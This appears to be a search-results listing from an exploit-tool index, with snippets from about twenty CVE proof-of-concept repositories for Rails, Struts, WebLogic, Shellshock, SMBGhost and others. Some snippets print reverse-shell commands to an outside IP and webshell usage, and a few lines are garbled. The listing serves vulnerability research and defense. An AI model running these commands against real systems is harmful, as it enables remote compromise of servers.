301984 matches found
CVE-2026-66066-POC
PoC for CVE-2026-66066 - Minimal stock Rails/libvips lab This repository reproduces the Rails Active Storage file-read-to-RCE chain described by GHSA-xr9x-r78c-5hrm against Rails 8.1.3, the newest affected Rails 8.1 release. Rails 8.1.3.1 is the patched control. Use it only in the disposable loca...
eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE
Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE Date : 5/18/19 Exploit Author : liquidsky Joseph McPeters Vulnerable Software : eLabFTW 1.8.5 Vendor Homepage : https://www.elabftw.net/ Version : 1.8.5 Software Link : https://doc.elabftw.net/ Tested On : Linux / PHP...
CVE-2024-47533
root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...
Check-vuln-CVE-2019-0708
CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Metasploit module PR: https://github.com/rapid7/metasploit-framework/pull/11869 In this repo A scanner fork of rdesktop that can detect if a host is vulnerable to CVE-2019-0708 Microsoft Windows Remote...
CVE-2024-53677-Docker
CVE-2024-53677 - Apache Struts 2 Remote Code Execution Vulnerability RCE Reproduction Environment This repository provides a Docker-based environment to reproduce the CVE-2024-53677 vulnerability in Apache Struts 2. This vulnerability involves path traversal and allows for arbitrary code executio...
CVE-2023-27524
CVE-2023-27524 Insecure Default Configuration in Apache Superset Leads to Remote Code Execution Screenshot Requirements Python3.7+ Supported Os Linuxer Wingays Get start with root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-27524 $ cd CVE-2023-27524 $ pip/pip3 install -r...
CVE-2022-23967
CVE-2022-23967 In TightVNC 1.3.10, there is an integer signedness error and resultant heap-based buffer overflow in InitialiseRFBConnection in rfbproto.c for the vncviewer component. There is no check on the size given to malloc, e.g., -1 is accepted. This allocates a chunk of size zero, which wi...
CVE-2018-2628
CVE-2018-2628 0x01 Nessus Scan 0x02 K8 Tools GetShell 0x03 CMD Query Use-Method: root@kitploit: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...
CVE-2017-5638
CVE-2017-5638 | Struts s2-045 Description It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user. Affected versions Struts 2.3.5 Struts 2.3.31 Struts 2.5 Stru...
CVE-2026-44825-Apache-Solr-Scanner
CVE-2026-44825 Escáner de Apache Solr Este repositorio contiene un escáner basado en Go para detectar y probar instancias de Apache Solr que puedan estar afectadas por CVE-2026-44825, relacionado con condiciones de Ejecución Remota de Código RCE mediante Velocity Template. La herramienta puede...
CVE-2026-33017
CVE-2026-33017 Langflow RCE ★ CVE-2026-33017 Langflow Remote Code Execution PoC ★ https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7 Environment Setup Use the following commands to build and run the vulnerable Langflow environment: root@kitploit: docker build -t...
CVE-2017-9841
phpunit-shell ⭐ a simple python3 script to exploit CVE-2017-9841. the exploit - CVE-2017-9841 ❗ simple script that exploits a remote code execution vulnerability found in PHPUnit before 4.8.28 and 5.x before 5.6.3. makes a post request to the target with user input system commands...
CVE-2014-6271
Hellshocker 0.1.1 Herramienta para explotar la vulnerabilidad Shellshock ¿Cansado de usar exploits débiles de shellshock o simplemente hacer "/bin/bash & /dev/tcp/IP/port 0&1" para acceder al servidor? Sí, necesitas subir y ejecutar algo más complejo en el servidor, y codificar en base64 un archi...
EUVD-2026-88337
This vulnerability impacts all versions of IdentityIQ and allows an unauthenticated user remote code execution on the IdentityIQ server due to improper input validation of submitted web service API content...
CVE-2026-12342 SailPoint IdentityIQ Improper Form Validation Vulnerability
This vulnerability impacts all versions of IdentityIQ and allows an unauthenticated user remote code execution on the IdentityIQ server due to improper input validation of submitted web service API content...
CVE-2026-12342
This vulnerability affects all versions of SailPoint IdentityIQ . It allows an unauthenticated user to achieve remote code execution (RCE) on the IdentityIQ server. The root cause is identified as improper input validation of submitted web service API content. No specific exploit links or patch v...
SMBGhost_AutomateExploitation
SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...
cve-2021-42013-docker-lab
CVE-2021-42013 Introduction It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not...
CVE-2021-25003
CVE-2021-25003 root@kitploit: Title: WPCargo 6.9.0 - Unauthenticated RCE Author: Krzysztof Zając https://kazet.cc/ CVE: CVE-2021-25003 Installation root@kitploit: git clone https://github.com/biulove0x/CVE-2021-25003.git cd CVE-2021-25003/ python3 -m pip install -r requirements.txt How to run...